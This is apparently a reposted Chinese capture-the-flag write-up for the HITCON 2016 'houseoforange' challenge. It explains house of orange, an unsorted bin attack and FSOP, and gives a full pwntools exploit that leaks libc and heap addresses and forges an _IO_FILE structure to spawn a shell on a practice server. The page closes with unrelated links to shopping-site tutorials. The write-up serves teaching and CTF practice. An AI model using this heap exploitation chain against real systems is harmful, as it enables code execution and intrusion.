houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP)

news/2024/5/15 10:04:44/文章来源:https://blog.csdn.net/weixin_44145820/article/details/105270036

目录

    • 题目分析
    • 利用原理
        • house of orange
        • FSOP
    • 漏洞利用
    • Exp

题目分析

在这里插入图片描述
在这里插入图片描述
只有添加,显示,编辑三个功能,没有删除

在这里插入图片描述
添加函数,最多只能添加四次,每次添加会依次执行malloc(0x10),malloc(name_size),calloc(8),name_size最大为8
House结构体如下
在这里插入图片描述

struct Info{
int price;
int color;
}struct House{
Info* info;
char* name;
}

在这里插入图片描述
在编辑函数中,可以重新输入长度进行堆溢出
编辑次数最多为3

利用原理

house of orange

根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断

assert((old_top == initial_top(av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse(old_top) &&((unsigned long)old_end & pagemask) == 0));

这里需要满足几个条件:

  1. topchunk size > MINSIZE(0x10)
  2. top chunk inuse位为1
  3. 修改之后的 size 必须要对齐到内存页

满足之后,top chunk就被free,从而进入unsorted bin

FSOP

在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_
在这里插入图片描述
_IO_FILE_plus结构体详细内容如下
在这里插入图片描述
其中_chain指向下一个_IO_FILE_plus结构体

在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp

while (fp != NULL)
{
…fp = fp->_chain;...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

  1. fp->_mode > 0
  2. _IO_vtable_offset (fp) == 0
  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了

漏洞利用

本题分为两个步骤,首先使用house of orange的办法释放出unsorted bin ,然后利用FSOP劫持控制流

  1. 申请一个小的house,然后把top chunk的大小改小
  2. 申请一个较大的house(此时原来的topchunk被释放进unsorted bin),再申请一个large bin范围内的house(切割unsorted bin),利用该house 泄露libc和堆地址
  3. 编辑house,把剩下unsorted bin的size改为0x60,并在其中伪造_IO_FILE_plus结构体和unsorted bin chunk
    在这一步中,我们首先利用unsorted bin attack修改_IO_list_all,这需要把该chunk的bk改为_IO_list_all-0x10
  4. 再次malloc,触发错误,获得shell
    malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58
    此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误
    此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

Exp

from pwn import *
from LibcSearcher import *r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")context.log_level = 'debug'
DEBUG = 0
if DEBUG:gdb.attach(r, '''b *$rebase(0x13CB)cx/10gx $rebase(0x203068)''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')def add(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('1')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name :")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:")	#1-7r.sendline(str(color))def show():r.recvuntil("Your choice : ")r.sendline('2')def edit(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('3')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name:")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:")	#1-7r.sendline(str(color))add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_872437.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

javabean+servlet+JSP页面做购物网站 (附效果图+源码)

一个简单的jsp购物网站 概要需求用到的技术效果图登录页登陆结果购物页消费记录页管理用户信息和商品信息数据库格式 踩过的坑jdbc进行数据库操作java动作指令结合jsp脚本jdbc操作数据库查某个变量源码 概要 复习一下学校里学的javabean&#xff0c;写了个简单的购物网站&…

用asp.net写的一个购物网站

文章目录 一、数据库设计二、登录注册三、功能说明以及运行1.首页2.商品分类3.热门零食4.推荐零食5.商品详情页6.我的购物车7.立即购买8.提交订单 总结 一、数据库设计 二、登录注册 1.登录界面 2.注册界面 首先先在数据库表users中插入几条数据&#xff0c;表示这是已经注册…

用前端写的一个网站

文章目录 一、网站首页1.导航栏2.轮播图3.网格系统 二、热门人物三、热门推荐四、国产动漫五、热血日漫六、个人资料设置七、注册登录总结 一、网站首页 1.导航栏 采用了bootstrap导航条组建。用超链接实现跳转。并同时使该网页对应的导航条处于被选中的状态。当鼠标悬停放在该…

基于ASP.Net写的一个购物网站

网站运行录像 在这里 链接&#xff1a;https://pan.baidu.com/s/1NaFNKnQ3UEorasadRf7EIA 提取码&#xff1a;1i6v 复制这段内容后打开百度网盘手机App&#xff0c;操作更方便哦 可以下载观看。 本网站前端利用了如下技术&a…

springboot实现基本购物网站

本项目部分页面来自天天生鲜项目(原项目使用django编写),本项目中所用到的框架: spring boot mybatis jpa bootstrap redis freemaker 实现注册及登录界面: 用户名需满足:非空&#xff0c;长度2-20位. 密码需满足:为6-20位字母、数字的组合. 卖家与买家信息使用不同的数据…

HTML+CSS简单应用实例——购物网站的制作(一)

HTMLCSS简单应用实例——购物网站的制作&#xff08;一&#xff09; 这是一个用CSS、HTML、JS制作的简单的购物网站&#xff0c;这篇文章是主页&#xff0c;在后面文章中依次有登录页、商品页、客服页面等。有很多不足之处&#xff0c;希望大家能给我指出来。 先看一下效果图…

HTML+CSS简单应用实例——购物网站的制作(二)注册页面

HTMLCSS简单应用实例——购物网站的制作&#xff08;二&#xff09;注册页面 接上一篇文章&#xff0c;本片文章是注册页面。 下面是效果图&#xff1a; 分析&#xff1a;上方欢迎注册是DIV,下面是表单&#xff0c;点击登录按钮会出现注册成功提示。下方为脚本&#xff0c;同…

HTML+CSS简单应用实例——购物网站的制作(三)

HTMLCSS简单应用实例——购物网站的制作&#xff08;三&#xff09; 本页面是商品页面。 下面是效果图&#xff1a; 分析&#xff1a;上方大牌女装为DIV&#xff0c;下面是一个滚动图&#xff0c;年度爆款限时五折是table&#xff0c;今日热门活动也是一个大table&#xff…

HTML+CSS简单应用实例——购物网站的制作(四)

HTMLCSS简单应用实例——购物网站的制作&#xff08;四&#xff09; 本页面是第二个商品页面&#xff0c;做了个限时抢购的页面。 下面是效果图&#xff1a; 分析&#xff1a;上方限时抢购和12点准时开抢是两个DIV&#xff0c;下面每个商品是一个单独的DIV,总体是一个大的D…

HTML+CSS简单应用实例——购物网站的制作(五)

HTMLCSS简单应用实例——购物网站的制作&#xff08;五&#xff09; 本页面是第三个商品页面。 下面是效果图&#xff1a; 分析&#xff1a;上方淘淘超市是一个DIV&#xff0c;下面超值套装每个商品是一个DIV&#xff0c;美容护肤是一个大表格。下面是脚本。 具体代码&…

HTML+CSS简单应用实例——购物网站的制作(六)

HTMLCSS简单应用实例——购物网站的制作&#xff08;六&#xff09; 本页面是一个反馈问卷页面。 效果图&#xff1a; 代码&#xff1a; <!DOCTYPE html> <html><head><meta charset"UTF-8"><title>淘淘网问卷</title><s…

HTML+CSS简单应用实例——购物网站的制作(七)

HTMLCSS简单应用实例——购物网站的制作&#xff08;七&#xff09; 本页面是客服页面。 效果图&#xff1a; 分析&#xff1a;上方是一个DIV&#xff0c;下面是两个表格&#xff0c;表格里有列表。 具体代码&#xff1a; <!DOCTYPE html> <html><head>&…

专访AJAX发明人:AJAX并不适合所有网站

他从未想到AJAX可以获得这么大的成功&#xff0c;但他也表示并非所有的网站都适合用AJAX技术。 新浪科技讯 2007年3月2日&#xff0c;中国互联网协会与Google(谷歌)公司联合主办“Internet 互联网世纪论坛”&#xff0c;AJAX技术的发明人Jesse James Garrett在会议期间接受新浪…

一步步构建大型网站架构

之前我简单向大家介绍了各个知名大型网站的架构&#xff0c; 亿万用户网站MySpace的成功秘密 、 Flickr架构 、 YouTube网站架构 、 PlentyOfFish 网站架构学习 、 WikiPedia技术架构学习笔记 。这几个都很典型&#xff0c;我们可以从中获取很多有关网站架构方面的知…

从上百幅架构图中学大型网站建设经验(上)

从上百幅架构图中学大型网站建设经验&#xff08;上&#xff09; 引言 近段时间以来&#xff0c;通过接触有关海量数据处理和搜索引擎的诸多技术&#xff0c;常常见识到不少精妙绝伦的架构图。除了每每感叹于每幅图表面上的绘制的精细之外&#xff0c;更为架构图背后所隐藏的设…

Apache中如何设置网站默认首页?

环境: 1)WIN2003(X86)阿里云ECS 2)apache2.2(启用vhosts.conf) 步骤: 1)打开apache\conf\extra\httpd-vhosts.conf 2)在 VirturalHost标签对中输入DirectoryIndex index.php //index.php即为网站默认首页 <VirtualHost *:80>DocumentRoot D:\www\abcServerName www.…

如何移植DEDE网站?WIN2WIN.

假设网站从 A服务器(siteA) 转移到 B服务器(siteB). 遵以下步骤即可: A.备份 1)到www.dedecms.com下载全新版本siteB 尽量与siteA保持一致 3)在服务器上正常安装siteB 4)备份siteA的数据库 /data/backupdata / 系统>>数据库备份/还原>>全选/提交 5)备份siteA…

NET开发人员必知的八个网站

当前全球有数百万的开发人员在使用微软的.NET技术。如果你是其中之一&#xff0c;或者想要成为其中之一的话&#xff0c;我下面将要列出的每一个站点都应该是你的最爱&#xff0c;都应该收藏到书签中去。 对于不熟悉.NET技术的朋友&#xff0c;需要说明一下&#xff0c;.NET提…

美赛常用数据库网站大全

数模比赛数据查找网站大全 这里网站非常得多&#xff0c;大家自行选择 Part one 刚开始是查各种外国的&#xff0c;最后才发现中国还是最方便的&#xff0c;各个省市的统计年鉴加上中国的统计年鉴很多数据都能直接得到了。 下面放一些我这次比赛看到过的网站&#xff0c;虽然…

jQuery Mobile 移动网站开发之日期控件Mobiscroll 2.5 使用说明

电脑显示完全两样 android 则无法显示 所以pass掉。 2.第三方 datebox <labelfor"mydate">购买时间*</label> <input name"mydate"id"frmMain_txt_SB_SERVERTIME" type"date"data-role"datebox" data-o…